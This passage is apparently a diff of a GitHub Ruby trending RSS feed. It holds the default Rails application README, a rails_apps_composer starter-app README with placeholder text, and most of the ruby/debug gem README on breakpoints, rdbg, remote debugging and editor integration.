<p>This pattern splits the view (also called the presentation) into "dumb" templates that are primarily responsible for inserting pre-built data in between HTML tags. The model contains the "smart" domain objects (such as Account, Product, Person, Post) that holds all the business logic and knows how to persist themselves to a database. The controller handles the incoming requests (such as Save New Account, Update Product, Show Post) by manipulating the model and directing data to the view.</p> <p>In Rails, the model is handled by what's called an object-relational mapping layer entitled Active Record. This layer allows you to present the data from database rows as objects and embellish these data objects with business logic methods. You can read more about Active Record in link:files/vendor/rails/activerecord/README.html.</p> <p>The controller and view are handled by the Action Pack, which handles both layers by its two parts: Action View and Action Controller. These two layers are bundled in a single package due to their heavy interdependence. This is unlike the relationship between the Active Record and Action Pack that is much more separate. Each of these packages can be used independently outside of Rails. You can read more about Action Pack in link:files/vendor/rails/actionpack/README.html.</p> <p>== Getting Started</p> <ol> <li> <p>At the command prompt, create a new Rails application: <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)</p> </li> <li> <p>Change directory to <tt>myapp</tt> and start the web server: <tt>cd myapp; rails server</tt> (run with --help for options)</p> </li> <li> <p>Go to <a href="http://localhost:3000/">http://localhost:3000/</a> and you'll see: "Welcome aboard: You're riding Ruby on Rails!"</p> </li> <li> <p>Follow the guidelines to start developing your application. You can find the following resources handy:</p> </li> </ol> <ul> <li>The Getting Started Guide: <a href="http://guides.rubyonrails.org/getting_started.html">http://guides.rubyonrails.org/getting_started.html</a></li> <li>Ruby on Rails Tutorial Book: <a href="http://www.railstutorial.org/">http://www.railstutorial.org/</a></li> </ul> <p>== Debugging Rails</p> <p>Sometimes your application goes wrong. Fortunately there are a lot of tools that will help you debug it and get it back on the rails.</p> <p>First area to check is the application log files. Have "tail -f" commands running on the server.log and development.log. Rails will automatically display debugging and runtime information to these files. Debugging info will also be shown in the browser on requests from 127.0.0.1.</p> <p>You can also log your own messages directly into the log file from your code using the Ruby logger class from inside your controllers. Example:</p> <p>class WeblogController &lt; ActionController::Base def destroy @weblog = Weblog.find(params[:id]) @weblog.destroy logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") end end</p> <p>The result will be a message in your log file along the lines of:</p> <p>Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!</p> <p>More information on how to use the logger is at <a href="http://www.ruby-doc.org/core/">http://www.ruby-doc.org/core/</a></p> <p>Also, Ruby documentation can be found at <a href="http://www.ruby-lang.org/">http://www.ruby-lang.org/</a>. There are several books available online as well:</p> <ul> <li>Programming Ruby: <a href="http://www.ruby-doc.org/docs/ProgrammingRuby/">http://www.ruby-doc.org/docs/ProgrammingRuby/</a> (Pickaxe)</li> <li>Learn to Program: <a href="http://pine.fm/LearnToProgram/">http://pine.fm/LearnToProgram/</a> (a beginners guide)</li> </ul> <p>These two books will bring you up to speed on the Ruby language and also on programming in general.</p> <p>== Debugger</p> <p>Debugger support is available through the debugger command when you start your Mongrel or WEBrick server with --debugger. This means that you can break out of execution at any point in the code, investigate and change the model, and then, resume execution! You need to install ruby-debug to run the server in debugging mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:</p> <p>class WeblogController &lt; ActionController::Base def index @posts = Post.all debugger end end</p> <p>So the controller will accept the action, run the first line, then present you with a IRB prompt in the server window. Here you can do things like:</p> <blockquote> <blockquote> <p>@posts.inspect =&gt; "[#&lt;Post:0x14a6be8 @attributes={"title"=&gt;nil, "body"=&gt;nil, "id"=&gt;"1"}&gt;, #&lt;Post:0x14a6620 @attributes={"title"=&gt;"Rails", "body"=&gt;"Only ten..", "id"=&gt;"2"}&gt;]" @posts.first.title = "hello from a debugger" =&gt; "hello from a debugger"</p> </blockquote> </blockquote> <p>...and even better, you can examine how your runtime objects actually work:</p> <blockquote> <blockquote> <p>f = @posts.first =&gt; #&lt;Post:0x13630c4 @attributes={"title"=&gt;nil, "body"=&gt;nil, "id"=&gt;"1"}&gt; f. Display all 152 possibilities? (y or n)</p> </blockquote> </blockquote> <p>Finally, when you're ready to resume execution, you can enter "cont".</p> <p>== Console</p> <p>The console is a Ruby shell, which allows you to interact with your application's domain model. Here you'll have all parts of the application configured, just like it is when the application is running. You can inspect domain models, change values, and save to the database. Starting the script without arguments will launch it in the development environment.</p> <p>To start the console, run <tt>rails console</tt> from the application directory.</p> <p>Options:</p> <ul> <li>Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications made to the database.</li> <li>Passing an environment name as an argument will load the corresponding environment. Example: <tt>rails console production</tt>.</li> </ul> <p>To reload your controllers and models after launching the console run <tt>reload!</tt></p> <p>More information about irb can be found at: link:<a href="http://www.rubycentral.org/pickaxe/irb.html">http://www.rubycentral.org/pickaxe/irb.html</a></p> <p>== dbconsole</p> <p>You can go to the command line of your database directly through <tt>rails dbconsole</tt>. You would be connected to the database with the credentials defined in database.yml. Starting the script without arguments will connect you to the development database. Passing an argument will connect you to a different database, like <tt>rails dbconsole production</tt>. Currently works for MySQL, PostgreSQL and SQLite 3.</p> <p>== Description of Contents</p> <p>The default directory structure of a generated Ruby on Rails application:</p> <p>|-- app | |-- assets | |-- images | |-- javascripts | <code>-- stylesheets | |-- controllers | |-- helpers | |-- mailers | |-- models | </code>-- views | <code>-- layouts |-- config | |-- environments | |-- initializers | </code>-- locales |-- db |-- doc |-- lib | <code>-- tasks |-- log |-- public |-- script |-- test | |-- fixtures | |-- functional | |-- integration | |-- performance | </code>-- unit |-- tmp | |-- cache | |-- pids | |-- sessions | <code>-- sockets </code>-- vendor |-- assets <code>-- stylesheets </code>-- plugins</p> <p>app Holds all the code that's specific to this particular application.</p> <p>app/assets Contains subdirectories for images, stylesheets, and JavaScript files.</p> <p>app/controllers Holds controllers that should be named like weblogs_controller.rb for automated URL mapping. All controllers should descend from ApplicationController which itself descends from ActionController::Base.</p> <p>app/models Holds models that should be named like post.rb. Models descend from ActiveRecord::Base by default.</p> <p>app/views Holds the template files for the view that should be named like weblogs/index.html.erb for the WeblogsController#index action. All views use eRuby syntax by default.</p> <p>app/views/layouts Holds the template files for layouts to be used with views. This models the common header/footer method of wrapping views. In your views, define a layout using the <tt>layout :default</tt> and create a file named default.html.erb. Inside default.html.erb, call &lt;% yield %&gt; to render the view using this layout.</p> <p>app/helpers Holds view helpers that should be named like weblogs_helper.rb. These are generated for you automatically when using generators for controllers. Helpers can be used to wrap functionality for your views into methods.</p> <p>config Configuration files for the Rails environment, the routing map, the database, and other dependencies.</p> <p>db Contains the database schema in schema.rb. db/migrate contains all the sequence of Migrations for your schema.</p> <p>doc This directory is where your application documentation will be stored when generated using <tt>rake doc:app</tt></p> <p>lib Application specific libraries. Basically, any kind of custom code that doesn't belong under controllers, models, or helpers. This directory is in the load path.</p> <p>public The directory available for the web server. Also contains the dispatchers and the default HTML files. This should be set as the DOCUMENT_ROOT of your web server.</p> <p>script Helper scripts for automation and generation.</p> <p>test Unit and functional tests along with fixtures. When using the rails generate command, template test files will be generated for you and placed in this directory.</p> <p>vendor External libraries that the application depends on. Also includes the plugins subdirectory. If the app has frozen rails, those gems also go here, under vendor/rails/. This directory is in the load path.</p> + + + AndySze/webdesign + 2023-09-25T01:39:55Z + tag:github.com,2023-09-25:/AndySze/webdesign + + <p>webdesign</p><hr><p>h1. Cunlin</p> <p>This application was generated with the "rails_apps_composer":<a href="https://github.com/RailsApps/rails_apps_composer">https://github.com/RailsApps/rails_apps_composer</a> gem provided by the "RailsApps Project":<a href="http://railsapps.github.com/">http://railsapps.github.com/</a>.</p> <p>h2. Diagnostics</p> <p>This application was built with recipes that are known to work together.</p> <p>This application was built with preferences that are NOT known to work together.</p> <p>If the application doesn't work as expected, please "report an issue":<a href="https://github.com/RailsApps/rails_apps_composer/issues">https://github.com/RailsApps/rails_apps_composer/issues</a> and include these diagnostics:</p> <p>We'd also like to know if you've found combinations of recipes or preferences that do work together.</p> <p>Recipes: ["controllers", "core", "email", "extras", "frontend", "gems", "git", "init", "models", "prelaunch", "railsapps", "readme", "routes", "saas", "setup", "testing", "views"]</p> <p>Preferences: {:git=&gt;true, :railsapps=&gt;"none", :dev_webserver=&gt;"thin", :prod_webserver=&gt;"unicorn", :database=&gt;"sqlite", :templates=&gt;"erb", :unit_test=&gt;"rspec", :integration=&gt;"rspec-capybara", :fixtures=&gt;"factory_girl", :frontend=&gt;"bootstrap", :bootstrap=&gt;"sass", :email=&gt;"none", :authentication=&gt;"devise", :devise_modules=&gt;"default", :authorization=&gt;"cancan", :form_builder=&gt;"simple_form", :starter_app=&gt;"admin_app", :quiet_assets=&gt;true, :ban_spiders=&gt;true, :github=&gt;true}</p> <p>h2. Ruby on Rails</p> <p>This application requires:</p> <ul> <li>Ruby version 1.9.3</li> <li>Rails version 3.2.8</li> </ul> <p>Learn more about "Installing Rails":<a href="http://railsapps.github.com/installing-rails.html">http://railsapps.github.com/installing-rails.html</a>.</p> <p>h2. Database</p> <p>This application uses SQLite with ActiveRecord.</p> <p>h2. Development</p> <ul> <li>Template Engine: ERB</li> <li>Testing Framework: RSpec and Factory Girl</li> <li>Front-end Framework: Twitter Bootstrap (Sass)</li> <li>Form Builder: SimpleForm</li> <li>Authentication: Devise</li> <li>Authorization: CanCan</li> </ul> <p>h2. Getting Started</p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> <p>h2. Documentation and Support</p> <p>This is the only documentation.</p> <p>h4. Issues</p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> <p>h2. Similar Projects</p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> <p>h2. Contributing</p> <p>If you make improvements to this application, please share with others.</p> <ul> <li>Fork the project on GitHub.</li> <li>Make your feature addition or bug fix.</li> <li>Commit with Git.</li> <li>Send the author a pull request.</li> </ul> <p>If you add functionality to this application, create an alternative implementation, or build an application that is similar, please contact me and I'll add a note to the README so that others can find your work.</p> <p>h2. Credits</p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> <p>h2. License</p> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> + \ No newline at end of file diff --git a/ruby/weekly/index.xml b/ruby/weekly/index.xml deleted file mode 100644 index 4d1b50b1ffc..00000000000 --- a/ruby/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Ruby Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:18Z - Weekly Trending of Ruby in GitHub - - - ruby/debug - 2023-09-24T02:00:18Z - tag:github.com,2023-09-24:/ruby/debug - - <p>Debugging functionality for Ruby</p><hr><p><a href="https://github.com/ruby/debug/actions/workflows/ruby.yml?query=branch%3Amaster"><img src="https://github.com/ruby/debug/actions/workflows/ruby.yml/badge.svg?branch=master" alt="Ruby"></a> <a href="https://github.com/ruby/debug/actions/workflows/protocol.yml"><img src="https://github.com/ruby/debug/actions/workflows/protocol.yml/badge.svg?sanitize=true" alt="Protocol"></a></p> <h1>debug.rb</h1> <p>This library provides debugging functionality to Ruby (MRI) 2.6 and later.</p> <p>This debug.rb is replacement of traditional lib/debug.rb standard library which is implemented by <code>set_trace_func</code>. New debug.rb has several advantages:</p> <ul> <li> <p>Fast: No performance penalty on non-stepping mode and non-breakpoints.</p> </li> <li> <p><a href="https://raw.githubusercontent.com/ruby/debug/master/#remote-debugging">Remote debugging</a>: Support remote debugging natively.</p> <ul> <li> <p>UNIX domain socket (UDS)</p> </li> <li> <p>TCP/IP</p> </li> <li> <p>Integration with rich debugger frontends</p> <table> <thead> <tr> <th>Frontend</th> <th><a href="https://github.com/ruby/debug#invoke-as-a-remote-debuggee">Console</a></th> <th><a href="https://github.com/ruby/debug#vscode-integration">VSCode</a></th> <th><a href="https://raw.githubusercontent.com/ruby/debug/master/#chrome-devtool-integration">Chrome DevTool</a></th> </tr> </thead> <tbody> <tr> <td>Connection</td> <td>UDS, TCP/IP</td> <td>UDS, TCP/IP</td> <td>TCP/IP</td> </tr> <tr> <td>Requirement</td> <td>No</td> <td><a href="https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg">vscode-rdbg</a></td> <td>Chrome</td> </tr> </tbody> </table> </li> </ul> </li> <li> <p>Extensible: application can introduce debugging support with several ways:</p> <ul> <li>By <code>rdbg</code> command</li> <li>By loading libraries with <code>-r</code> command line option</li> <li>By calling Ruby's method explicitly</li> </ul> </li> <li> <p>Misc</p> <ul> <li>Support threads (almost done) and ractors (TODO).</li> <li>Support suspending and entering to the console debugging with <code>Ctrl-C</code> at most of timing.</li> <li>Show parameters on backtrace command.</li> <li>Support recording &amp; replay debugging.</li> </ul> </li> </ul> <h1>Installation</h1> <pre><code>$ gem install debug </code></pre> <p>or specify <code>-Ipath/to/debug/lib</code> in <code>RUBYOPT</code> or each ruby command-line option, especially for debug this gem development.</p> <p>If you use Bundler, write the following line to your Gemfile.</p> <pre><code>gem "debug", "&gt;= 1.0.0" </code></pre> <p>(The version constraint is important; <code>debug &lt; 1.0.0</code> is an older, abandoned gem that is completely different from this product.)</p> <h1>HOW TO USE</h1> <p>To use a debugger, roughly you will do the following steps:</p> <ol> <li>Set breakpoints.</li> <li>Run a program with the debugger.</li> <li>At the breakpoint, enter the debugger console.</li> <li>Use debug commands. <ul> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#evaluate">Evaluate Ruby expressions</a> (e.g. <code>p lvar</code> to see the local variable <code>lvar</code>).</li> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#information">Query the program status</a> (e.g. <code>info</code> to see information about the current frame).</li> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#control-flow">Control program flow</a> (e.g. move to the another line with <code>step</code>, to the next line with <code>next</code>).</li> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#breakpoint">Set another breakpoint</a> (e.g. <code>catch Exception</code> to set a breakpoint that'll be triggered when <code>Exception</code> is raised).</li> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#trace">Activate tracing in your program</a> (e.g. <code>trace call</code> to trace method calls).</li> <li><a href="https://raw.githubusercontent.com/ruby/debug/master/#configuration-1">Change the configuration</a> (e.g. <code>config set no_color true</code> to disable coloring).</li> <li>Continue the program (<code>c</code> or <code>continue</code>) and goto 3.</li> </ul> </li> </ol> <h2>Invoke with the debugger</h2> <p>There are several options for (1) and (2). Please choose your favorite way.</p> <h3>Modify source code with <a href="https://raw.githubusercontent.com/ruby/debug/master/#bindingbreak-method"><code>binding.break</code></a> (similar to <code>binding.pry</code> or <code>binding.irb</code>)</h3> <p>If you can modify the source code, you can use the debugger by adding <code>require 'debug'</code> at the top of your program and putting <a href="https://raw.githubusercontent.com/ruby/debug/master/#bindingbreak-method"><code>binding.break</code></a> method into lines where you want to stop as breakpoints like <code>binding.pry</code> and <code>binding.irb</code>.</p> <p>You can also use its 2 aliases in the same way:</p> <ul> <li><code>binding.b</code></li> <li><code>debugger</code></li> </ul> <p>After that, run the program as usual and you will enter the debug console at breakpoints you inserted.</p> <p>The following example shows the demonstration of <a href="https://raw.githubusercontent.com/ruby/debug/master/#bindingbreak-method"><code>binding.break</code></a>.</p> <pre><code class="language-shell">$ cat target.rb # Sample program require 'debug' a = 1 b = 2 binding.break # Program will stop here c = 3 d = 4 binding.break # Program will stop here p [a, b, c, d] $ ruby target.rb # Run the program normally. DEBUGGER: Session start (pid: 7604) [1, 10] in target.rb 1| require 'debug' 2| 3| a = 1 4| b = 2 =&gt; 5| binding.break # Now you can see it stops at this line 6| c = 3 7| d = 4 8| binding.break 9| p [a, b, c, d] 10| =&gt;#0 &lt;main&gt; at target.rb:5 (rdbg) info locals # You can show local variables =&gt;#0 &lt;main&gt; at target.rb:5 %self =&gt; main a =&gt; 1 b =&gt; 2 c =&gt; nil d =&gt; nil (rdbg) continue # Continue the execution [3, 11] in target.rb 3| a = 1 4| b = 2 5| binding.break 6| c = 3 7| d = 4 =&gt; 8| binding.break # Again the program stops here 9| p [a, b, c, d] 10| 11| __END__ =&gt;#0 &lt;main&gt; at target.rb:8 (rdbg) info locals # And you can see the updated local variables =&gt;#0 &lt;main&gt; at target.rb:8 %self =&gt; main a =&gt; 1 b =&gt; 2 c =&gt; 3 d =&gt; 4 (rdbg) continue [1, 2, 3, 4] </code></pre> <h3>Invoke the program from the debugger as a traditional debuggers</h3> <p>If you don't want to modify the source code, you can set breakpoints with a debug command <code>break</code> (<code>b</code> for short). Using <code>rdbg</code> command (or <code>bundle exec rdbg</code>) to launch the program without any modifications, you can run the program with the debugger.</p> <pre><code class="language-shell">$ cat target.rb # Sample program a = 1 b = 2 c = 3 d = 4 p [a, b, c, d] $ rdbg target.rb # run like `ruby target.rb` DEBUGGER: Session start (pid: 7656) [1, 7] in target.rb =&gt; 1| a = 1 2| b = 2 3| c = 3 4| d = 4 5| p [a, b, c, d] 6| 7| __END__ =&gt;#0 &lt;main&gt; at target.rb:1 (rdbg) </code></pre> <p><code>rdbg</code> command suspends the program at the beginning of the given script (<code>target.rb</code> in this case) and you can use debug commands. <code>(rdbg)</code> is prompt. Let's set breakpoints on line 3 and line 5 with <code>break</code> command (<code>b</code> for short).</p> <pre><code class="language-shell">(rdbg) break 3 # set breakpoint at line 3 #0 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:3 (line) (rdbg) b 5 # set breakpoint at line 5 #1 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:5 (line) (rdbg) break # show all registered breakpoints #0 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:3 (line) #1 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:5 (line) </code></pre> <p>You can see that two breakpoints are registered. Let's continue the program by <code>continue</code> command.</p> <pre><code class="language-shell">(rdbg) continue [1, 7] in target.rb 1| a = 1 2| b = 2 =&gt; 3| c = 3 4| d = 4 5| p [a, b, c, d] 6| 7| __END__ =&gt;#0 &lt;main&gt; at target.rb:3 Stop by #0 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:3 (line) (rdbg) </code></pre> <p>You can see that we can stop at line 3. Let's see the local variables with <code>info</code> command, and continue. You can also confirm that the program will suspend at line 5 and you can use <code>info</code> command again.</p> <pre><code class="language-shell">(rdbg) info =&gt;#0 &lt;main&gt; at target.rb:3 %self =&gt; main a =&gt; 1 b =&gt; 2 c =&gt; nil d =&gt; nil (rdbg) continue [1, 7] in target.rb 1| a = 1 2| b = 2 3| c = 3 4| d = 4 =&gt; 5| p [a, b, c, d] 6| 7| __END__ =&gt;#0 &lt;main&gt; at target.rb:5 Stop by #1 BP - Line /mnt/c/ko1/src/rb/ruby-debug/target.rb:5 (line) (rdbg) info =&gt;#0 &lt;main&gt; at target.rb:5 %self =&gt; main a =&gt; 1 b =&gt; 2 c =&gt; 3 d =&gt; 4 (rdbg) continue [1, 2, 3, 4] </code></pre> <p>By the way, using <code>rdbg</code> command you can suspend your application with <code>C-c</code> (SIGINT) and enter the debug console. It will help that if you want to know what the program is doing.</p> <h3>Use <code>rdbg</code> with commands written in Ruby</h3> <p>If you want to run a command written in Ruby like like <code>rake</code>, <code>rails</code>, <code>bundle</code>, <code>rspec</code> and so on, you can use <code>rdbg -c</code> option.</p> <ul> <li>Without <code>-c</code> option, <code>rdbg &lt;name&gt;</code> means that <code>&lt;name&gt;</code> is Ruby script and invoke it like <code>ruby &lt;name&gt;</code> with the debugger.</li> <li>With <code>-c</code> option, <code>rdbg -c &lt;name&gt;</code> means that <code>&lt;name&gt;</code> is command in <code>PATH</code> and simply invoke it with the debugger.</li> </ul> <p>Examples:</p> <ul> <li><code>rdbg -c -- rails server</code></li> <li><code>rdbg -c -- bundle exec ruby foo.rb</code></li> <li><code>rdbg -c -- bundle exec rake test</code></li> <li><code>rdbg -c -- ruby target.rb</code> is same as <code>rdbg target.rb</code></li> </ul> <p>NOTE: <code>--</code> is needed to separate the command line options for <code>rdbg</code> and invoking command. For example, <code>rdbg -c rake -T</code> is recognized like <code>rdbg -c -T -- rake</code>. It should be <code>rdbg -c -- rake -T</code>.</p> <p>NOTE: If you want to use bundler (<code>bundle</code> command), you need to write <code>gem debug</code> line in your <code>Gemfile</code>.</p> <h3>Using VSCode</h3> <p>Like other languages, you can use this debugger on the VSCode.</p> <ol> <li>Install <a href="https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg">VSCode rdbg Ruby Debugger - Visual Studio Marketplace</a></li> <li>Open <code>.rb</code> file (e.g. <code>target.rb</code>)</li> <li>Register breakpoints with "Toggle breakpoint" in Run menu (or type F9 key)</li> <li>Choose "Start debugging" in "Run" menu (or type F5 key)</li> <li>You will see a dialog "Debug command line" and you can choose your favorite command line your want to run.</li> <li>Chosen command line is invoked with <code>rdbg -c</code> and VSCode shows the details at breakpoints.</li> </ol> <p>Please refer <a href="https://code.visualstudio.com/docs/editor/debugging">Debugging in Visual Studio Code</a> for operations on VSCode.</p> <p>You can configure the extension in <code>.vscode/launch.json</code>. Please see the extension page for more details.</p> <h2>Remote debugging</h2> <p>You can use this debugger as a remote debugger. For example, it will help the following situations:</p> <ul> <li>Your application does not run on TTY and it is hard to use <code>binding.pry</code> or <code>binding.irb</code>. <ul> <li>Your application is running on Docker container and there is no TTY.</li> <li>Your application is running as a daemon.</li> <li>Your application uses pipe for STDIN or STDOUT.</li> </ul> </li> <li>Your application is running as a daemon and you want to query the running status (checking a backtrace and so on).</li> </ul> <p>You can run your application as a remote debuggee and the remote debugger console can attach to the debuggee anytime.</p> <h3>Invoke as a remote debuggee</h3> <p>There are multiple ways to run your program as a debuggee:</p> <table> <thead> <tr> <th>Stop at program start</th> <th><a href="https://github.com/ruby/debug#rdbg---open-or-rdbg--o-for-short"><code>rdbg</code> option</a></th> <th><a href="https://github.com/ruby/debug#require-debugopen-in-a-program">require</a></th> <th><a href="https://github.com/ruby/debug#start-by-method">debugger API</a></th> </tr> </thead> <tbody> <tr> <td>Yes</td> <td><code>rdbg --open</code></td> <td><code>require "debug/open"</code></td> <td><code>DEBUGGER__.open</code></td> </tr> <tr> <td>No</td> <td><code>rdbg --open --nonstop</code></td> <td><code>require "debug/open_nonstop"</code></td> <td><code>DEBUGGER__.open(nonstop: true)</code></td> </tr> </tbody> </table> <h4><code>rdbg --open</code> (or <code>rdbg -O</code> for short)</h4> <p>You can run a script with <code>rdbg --open target.rb</code> command and run a <code>target.rb</code> as a debuggee program. It also opens the network port and suspends at the beginning of <code>target.rb</code>.</p> <pre><code class="language-shell">$ exe/rdbg --open target.rb DEBUGGER: Session start (pid: 7773) DEBUGGER: Debugger can attach via UNIX domain socket (/home/ko1/.ruby-debug-sock/ruby-debug-ko1-7773) DEBUGGER: wait for debugger connection... </code></pre> <p>By default, <code>rdbg --open</code> uses UNIX domain socket and generates path name automatically (<code>/home/ko1/.ruby-debug-sock/ruby-debug-ko1-7773</code> in this case).</p> <p>You can connect to the debuggee with <code>rdbg --attach</code> command (<code>rdbg -A</code> for short).</p> <pre><code class="language-shell">$ rdbg -A [1, 7] in target.rb =&gt; 1| a = 1 2| b = 2 3| c = 3 4| d = 4 5| p [a, b, c, d] 6| 7| __END__ =&gt;#0 &lt;main&gt; at target.rb:1 (rdbg:remote) </code></pre> <p>If there is no other opening ports on the default directory, <code>rdbg --attach</code> command chooses the only one opening UNIX domain socket and connect to it. If there are more files, you need to specify the file.</p> <p>When <code>rdbg --attach</code> connects to the debuggee, you can use any debug commands (set breakpoints, continue the program and so on) like local debug console. When an debuggee program exits, the remote console will also terminate.</p> <p>NOTE: If you use <code>quit</code> command, only remote console exits and the debuggee program continues to run (and you can connect it again). If you want to exit the debuggee program, use <code>kill</code> command.</p> <p>If you want to use TCP/IP for the remote debugging, you need to specify the port and host with <code>--port</code> like <code>rdbg --open --port 12345</code> and it binds to <code>localhost:12345</code>.</p> <p>To connect to the debuggee, you need to specify the port.</p> <pre><code class="language-shell">$ rdbg --attach 12345 </code></pre> <p>If you want to choose the host to bind, you can use <code>--host</code> option. Note that all messages communicated between the debugger and the debuggee are <em>NOT</em> encrypted so please use remote debugging carefully.</p> <h4><code>require 'debug/open'</code> in a program</h4> <p>If you can modify the program, you can open debugging port by adding <code>require 'debug/open'</code> line in the program.</p> <p>If you don't want to stop the program at the beginning, you can also use <code>require 'debug/open_nonstop'</code>. Using <code>debug/open_nonstop</code> is useful if you want to open a backdoor to the application. However, it is also danger because it can become another vulnerability. Please use it carefully.</p> <p>By default, UNIX domain socket is used for the debugging port. To use TCP/IP, you can set the <code>RUBY_DEBUG_PORT</code> environment variable.</p> <pre><code class="language-shell">$ RUBY_DEBUG_PORT=12345 ruby target.rb </code></pre> <h3>Integration with external debugger frontend</h3> <p>You can attach with external debugger frontend with VSCode and Chrome.</p> <pre><code>$ rdbg --open=[frontend] target.rb </code></pre> <p>will open a debug port and <code>[frontend]</code> can attach to the port.</p> <p>Also <code>open</code> command allows opening the debug port.</p> <h4>VSCode integration</h4> <p>(<a href="https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg">vscode-rdbg v0.0.9</a> or later is required)</p> <p>If you don't run a debuggee Ruby process on VSCode, you can attach with VSCode later with the following steps.</p> <p><code>rdbg --open=vscode</code> opens the debug port and tries to invoke the VSCode (<code>code</code> command).</p> <pre><code>$ rdbg --open=vscode target.rb DEBUGGER: Debugger can attach via UNIX domain socket (/tmp/ruby-debug-sock-1000/ruby-debug-ko1-27706) DEBUGGER: wait for debugger connection... Launching: code /tmp/ruby-debug-vscode-20211014-27706-gd7e85/ /tmp/ruby-debug-vscode-20211014-27706-gd7e85/README.rb DEBUGGER: Connected. </code></pre> <p>And it tries to invoke the new VSCode window and VSCode starts attaching to the debuggee Ruby program automatically.</p> <p>You can also use <code>open vscode</code> command in REPL.</p> <pre><code>$ rdbg target.rb [1, 8] in target.rb 1| =&gt; 2| p a = 1 3| p b = 2 4| p c = 3 5| p d = 4 6| p e = 5 7| 8| __END__ =&gt;#0 &lt;main&gt; at target.rb:2 (rdbg) open vscode # command DEBUGGER: wait for debugger connection... DEBUGGER: Debugger can attach via UNIX domain socket (/tmp/ruby-debug-sock-1000/ruby-debug-ko1-28337) Launching: code /tmp/ruby-debug-vscode-20211014-28337-kg9dm/ /tmp/ruby-debug-vscode-20211014-28337-kg9dm/README.rb DEBUGGER: Connected. </code></pre> <p>If the machine which runs the Ruby process doesn't have a <code>code</code> command, the following message will be shown:</p> <pre><code>(rdbg) open vscode DEBUGGER: wait for debugger connection... DEBUGGER: Debugger can attach via UNIX domain socket (/tmp/ruby-debug-sock-1000/ruby-debug-ko1-455) Launching: code /tmp/ruby-debug-vscode-20211014-455-gtjpwi/ /tmp/ruby-debug-vscode-20211014-455-gtjpwi/README.rb DEBUGGER: Can not invoke the command. Use the command-line on your terminal (with modification if you need). code /tmp/ruby-debug-vscode-20211014-455-gtjpwi/ /tmp/ruby-debug-vscode-20211014-455-gtjpwi/README.rb If your application is running on a SSH remote host, please try: code --remote ssh-remote+[SSH hostname] /tmp/ruby-debug-vscode-20211014-455-gtjpwi/ /tmp/ruby-debug-vscode-20211014-455-gtjpwi/README.rb </code></pre> <p>and try to use proposed commands.</p> <p>Note that you can attach with <code>rdbg --attach</code> and continue REPL debugging.</p> <h4>Chrome DevTool integration</h4> <p>With <code>rdbg --open=chrome</code> command will show the following message.</p> <pre><code>$ rdbg target.rb --open=chrome DEBUGGER: Debugger can attach via TCP/IP (127.0.0.1:43633) DEBUGGER: With Chrome browser, type the following URL in the address-bar: devtools://devtools/bundled/inspector.html?v8only=true&amp;panel=sources&amp;ws=127.0.0.1:57231/b32a55cd-2eb5-4c5c-87d8-b3dfc59d80ef DEBUGGER: wait for debugger connection... </code></pre> <p>Type <code>devtools://devtools/bundled/inspector.html?v8only=true&amp;panel=sources&amp;ws=127.0.0.1:57231/b32a55cd-2eb5-4c5c-87d8-b3dfc59d80ef</code> in the address-bar on Chrome browser, and you can continue the debugging with chrome browser.</p> <p>Also <code>open chrome</code> command works like <code>open vscode</code>.</p> <p>For more information about how to use Chrome debugging, you might want to read <a href="https://developer.chrome.com/docs/devtools/">here</a>.</p> <h2>Configuration</h2> <p>You can configure the debugger's behavior with debug commands and environment variables. When the debug session is started, initial scripts are loaded so you can put your favorite configurations in the initial scripts.</p> <h3>Configuration list</h3> <p>You can configure debugger's behavior with environment variables and <code>config</code> command. Each configuration has environment variable and the name which can be specified by <code>config</code> command.</p> <pre><code># configuration example config set log_level INFO config set no_color true </code></pre> <ul> <li> <p>UI</p> <ul> <li><code>RUBY_DEBUG_LOG_LEVEL</code> (<code>log_level</code>): Log level same as Logger (default: WARN)</li> <li><code>RUBY_DEBUG_SHOW_SRC_LINES</code> (<code>show_src_lines</code>): Show n lines source code on breakpoint (default: 10)</li> <li><code>RUBY_DEBUG_SHOW_EVALEDSRC</code> (<code>show_evaledsrc</code>): Show actually evaluated source (default: false)</li> <li><code>RUBY_DEBUG_SHOW_FRAMES</code> (<code>show_frames</code>): Show n frames on breakpoint (default: 2)</li> <li><code>RUBY_DEBUG_USE_SHORT_PATH</code> (<code>use_short_path</code>): Show shorten PATH (like $(Gem)/foo.rb) (default: false)</li> <li><code>RUBY_DEBUG_NO_COLOR</code> (<code>no_color</code>): Do not use colorize (default: false)</li> <li><code>RUBY_DEBUG_NO_SIGINT_HOOK</code> (<code>no_sigint_hook</code>): Do not suspend on SIGINT (default: false)</li> <li><code>RUBY_DEBUG_NO_RELINE</code> (<code>no_reline</code>): Do not use Reline library (default: false)</li> <li><code>RUBY_DEBUG_NO_HINT</code> (<code>no_hint</code>): Do not show the hint on the REPL (default: false)</li> <li><code>RUBY_DEBUG_NO_LINENO</code> (<code>no_lineno</code>): Do not show line numbers (default: false)</li> </ul> </li> <li> <p>CONTROL</p> <ul> <li><code>RUBY_DEBUG_SKIP_PATH</code> (<code>skip_path</code>): Skip showing/entering frames for given paths</li> 